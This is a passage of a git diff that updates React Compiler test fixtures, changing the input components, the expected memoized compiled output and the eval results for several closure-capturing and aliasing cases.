@@ -2,8 +2,10 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     let a = y;
@@ -14,14 +16,23 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
@@ -41,5 +52,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"x":{"a":2},"wat0":"joe"}
+{"x":{"a":2},"wat0":"joe"}
+{"x":{"a":3},"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.js
index 673113b3bd25..a82df6b27fff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.js
@@ -1,5 +1,7 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     let a = y;
@@ -9,3 +11,9 @@ function component(a) {
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.expect.md
index 146c6292cabe..6836544c5d33 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function component(a, b) {
-  let y = { b };
-  let z = { a };
+  let y = {b};
+  let z = {a};
   let x = function () {
     z.a = 2;
     y.b;
@@ -15,7 +15,7 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [{ a: "val1", b: "val2" }],
+  params: [{a: 'val1', b: 'val2'}],
   isComponent: false,
 };
 
@@ -26,29 +26,19 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a, b) {
-  const $ = _c(5);
-  let t0;
-  if ($[0] !== b) {
-    t0 = { b };
-    $[0] = b;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const y = t0;
+  const $ = _c(2);
   let z;
-  if ($[2] !== a || $[3] !== y.b) {
+  if ($[0] !== a) {
     z = { a };
     const x = function () {
       z.a = 2;
     };
 
     x();
-    $[2] = a;
-    $[3] = y.b;
-    $[4] = z;
+    $[0] = a;
+    $[1] = z;
   } else {
-    z = $[4];
+    z = $[1];
   }
   return z;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.js
index f792f16aa8c3..91ef51bc7cac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.js
@@ -1,6 +1,6 @@
 function component(a, b) {
-  let y = { b };
-  let z = { a };
+  let y = {b};
+  let z = {a};
   let x = function () {
     z.a = 2;
     y.b;
@@ -11,6 +11,6 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [{ a: "val1", b: "val2" }],
+  params: [{a: 'val1', b: 'val2'}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.expect.md
index b75258cc48a3..ca9986720c09 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function component(a, b) {
-  let y = { b };
-  let z = { a };
+  let y = {b};
+  let z = {a};
   let x = function () {
     z.a = 2;
     y.b;
@@ -14,8 +14,8 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -35,6 +35,7 @@ function component(a, b) {
     t0 = $[1];
   }
   const z = t0;
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.js
index f4fefdfa2254..2528d43d6f14 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.js
@@ -1,6 +1,6 @@
 function component(a, b) {
-  let y = { b };
-  let z = { a };
+  let y = {b};
+  let z = {a};
   let x = function () {
     z.a = 2;
     y.b;
@@ -10,6 +10,6 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.expect.md
index 7d0edb1a3bc1..566b02e1719d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let y = { b: { a } };
+  let y = {b: {a}};
   let x = function () {
     y.b.a = 2;
   };
@@ -13,8 +13,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.js
index 72bb779834b3..e9230c602356 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let y = { b: { a } };
+  let y = {b: {a}};
   let x = function () {
     y.b.a = 2;
   };
@@ -9,6 +9,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.expect.md
index 5b48ec9070c9..03c0db7e971c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.expect.md
@@ -2,21 +2,28 @@
 ## Input
 
 ```javascript
-function component(a, b) {
-  let z = { a };
-  let y = { b };
+import {mutate} from 'shared-runtime';
+
+function Component({a, b}) {
+  let z = {a};
+  let y = {b: {b}};
   let x = function () {
     z.a = 2;
-    console.log(y.b);
+    mutate(y.b);
   };
   x();
-  return z;
+  return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 4, b: 3},
+    {a: 4, b: 5},
+  ],
 };
 
 ```
@@ -25,32 +32,45 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a, b) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(3);
-  let z;
+  const { a, b } = t0;
+  let t1;
   if ($[0] !== a || $[1] !== b) {
-    z = { a };
-    const y = { b };
+    const z = { a };
+    const y = { b: { b } };
     const x = function () {
       z.a = 2;
-      console.log(y.b);
+      mutate(y.b);
     };
-
     x();
+    t1 = [y, z];
     $[0] = a;
     $[1] = b;
-    $[2] = z;
+    $[2] = t1;
   } else {
-    z = $[2];
+    t1 = $[2];
   }
-  return z;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: Component,
+  params: [{ a: 2, b: 3 }],
+  sequentialRenders: [
+    { a: 2, b: 3 },
+    { a: 2, b: 3 },
+    { a: 4, b: 3 },
+    { a: 4, b: 5 },
+  ],
 };
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [{"b":{"b":3,"wat0":"joe"}},{"a":2}]
+[{"b":{"b":3,"wat0":"joe"}},{"a":2}]
+[{"b":{"b":3,"wat0":"joe"}},{"a":2}]
+[{"b":{"b":5,"wat0":"joe"}},{"a":2}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.js
index f574b193d92b..2ec7bcbe86cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.js
@@ -1,16 +1,23 @@
-function component(a, b) {
-  let z = { a };
-  let y = { b };
+import {mutate} from 'shared-runtime';
+
+function Component({a, b}) {
+  let z = {a};
+  let y = {b: {b}};
   let x = function () {
     z.a = 2;
-    console.log(y.b);
+    mutate(y.b);
   };
   x();
-  return z;
+  return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 4, b: 3},
+    {a: 4, b: 5},
+  ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.expect.md
new file mode 100644
index 000000000000..14bf94e770a6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+function Component({a, b}) {
+  let z = {a};
+  let y = {b};
+  let x = function () {
+    z.a = 2;
+    return Math.max(y.b, 0);
+  };
+  x();
+  return z;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 4, b: 3},
+    {a: 4, b: 5},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(5);
+  const { a, b } = t0;
+  let z;
+  if ($[0] !== a || $[1] !== b) {
+    z = { a };
+    let t1;
+    if ($[3] !== b) {
+      t1 = { b };
+      $[3] = b;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    const y = t1;
+    const x = function () {
+      z.a = 2;
+      return Math.max(y.b, 0);
+    };
+
+    x();
+    $[0] = a;
+    $[1] = b;
+    $[2] = z;
+  } else {
+    z = $[2];
+  }
+  return z;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2, b: 3 }],
+  sequentialRenders: [
+    { a: 2, b: 3 },
+    { a: 2, b: 3 },
+    { a: 4, b: 3 },
+    { a: 4, b: 5 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"a":2}
+{"a":2}
+{"a":2}
+{"a":2}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.js
new file mode 100644
index 000000000000..8fe3bb3db52f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.js
@@ -0,0 +1,21 @@
+function Component({a, b}) {
+  let z = {a};
+  let y = {b};
+  let x = function () {
+    z.a = 2;
+    return Math.max(y.b, 0);
+  };
+  x();
+  return z;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 4, b: 3},
+    {a: 4, b: 5},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.expect.md
index b0656b488ab2..a071dddba6b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     y = x;
@@ -16,7 +16,7 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
 
 ```
@@ -34,7 +34,6 @@ function component(a) {
     const x = { a };
     y = {};
 
-    y;
     y = x;
 
     mutate(y);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.js
index 6e9f06af0498..e8b829c23c83 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.js
@@ -1,7 +1,7 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     y = x;
@@ -12,5 +12,5 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.expect.md
index 964f2cf953d4..0e2d77023996 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.expect.md
@@ -2,8 +2,10 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     y = x;
@@ -13,14 +15,23 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
@@ -39,5 +50,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"a":2,"wat0":"joe"}
+{"a":2,"wat0":"joe"}
+{"a":3,"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.js
index ab09fa4a2257..22764fec72e6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.js
@@ -1,5 +1,7 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     y = x;
@@ -8,3 +10,9 @@ function component(a) {
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.expect.md
index 7a4cc0956b98..6364d9b1647a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     console.log(z);
   };
@@ -12,8 +12,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -23,27 +23,20 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== a) {
-    t0 = { a };
+    const z = { a };
+    t0 = function () {
+      console.log(z);
+    };
     $[0] = a;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const z = t0;
-  let t1;
-  if ($[2] !== z) {
-    t1 = function () {
-      console.log(z);
-    };
-    $[2] = z;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const x = t1;
+  const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.js
index f2b84a2eec37..ed0f9961b13e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     console.log(z);
   };
@@ -8,6 +8,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.expect.md
index efe6bac24f8d..877cafa00dcf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.expect.md
@@ -14,7 +14,7 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
 
@@ -25,19 +25,27 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function bar(a) {
-  const $ = _c(2);
-  let y;
+  const $ = _c(4);
+  let t0;
   if ($[0] !== a) {
-    const x = [a];
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0][1]) {
     y = {};
 
-    y;
     y = x[0][1];
-    $[0] = a;
-    $[1] = y;
+    $[2] = x[0][1];
+    $[3] = y;
   } else {
-    y = $[1];
+    y = $[3];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.js
index 259d518c7990..4c224e28415b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.js
@@ -10,6 +10,6 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.expect.md
index 7904c0ab972b..935f86180983 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.expect.md
@@ -15,7 +15,7 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
 
@@ -41,6 +41,7 @@ function bar(a) {
   } else {
     y = $[1];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.js
index 9e03afa9dd29..2c385ffd0db4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.js
@@ -11,6 +11,6 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.expect.md
index 5c0be290a693..036f70d0449e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.expect.md
@@ -29,24 +29,31 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function bar(a, b) {
-  const $ = _c(3);
-  let y;
+  const $ = _c(6);
+  let t0;
   if ($[0] !== a || $[1] !== b) {
-    const x = [a, b];
+    t0 = [a, b];
+    $[0] = a;
+    $[1] = b;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  const x = t0;
+  let y;
+  if ($[3] !== x[0][1] || $[4] !== x[1][0]) {
     y = {};
-    let t;
-    t = {};
+    let t = {};
 
-    y;
-    t;
     y = x[0][1];
     t = x[1][0];
-    $[0] = a;
-    $[1] = b;
-    $[2] = y;
+    $[3] = x[0][1];
+    $[4] = x[1][0];
+    $[5] = y;
   } else {
-    y = $[2];
+    y = $[5];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.expect.md
index e68445fbd71f..e542d21cd5ef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.expect.md
@@ -35,8 +35,7 @@ function bar(a, b) {
   if ($[0] !== a || $[1] !== b) {
     const x = [a, b];
     y = {};
-    let t;
-    t = {};
+    let t = {};
     const f0 = function () {
       y = x[0][1];
       t = x[1][0];
@@ -49,6 +48,7 @@ function bar(a, b) {
   } else {
     y = $[2];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.expect.md
index e3c1489d692b..4019172e2aec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.expect.md
@@ -14,7 +14,7 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [{ a: ["val1", "val2"] }],
+  params: [{a: ['val1', 'val2']}],
   isComponent: false,
 };
 
@@ -25,19 +25,27 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function bar(a) {
-  const $ = _c(2);
-  let y;
+  const $ = _c(4);
+  let t0;
   if ($[0] !== a) {
-    const x = [a];
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0].a[1]) {
     y = {};
 
-    y;
     y = x[0].a[1];
-    $[0] = a;
-    $[1] = y;
+    $[2] = x[0].a[1];
+    $[3] = y;
   } else {
-    y = $[1];
+    y = $[3];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.js
index acaf0413b5b8..ca479a745892 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.js
@@ -10,6 +10,6 @@ function bar(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: bar,
-  params: [{ a: ["val1", "val2"] }],
+  params: [{a: ['val1', 'val2']}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.expect.md
index d8593fc96304..97762abcc0a8 100644
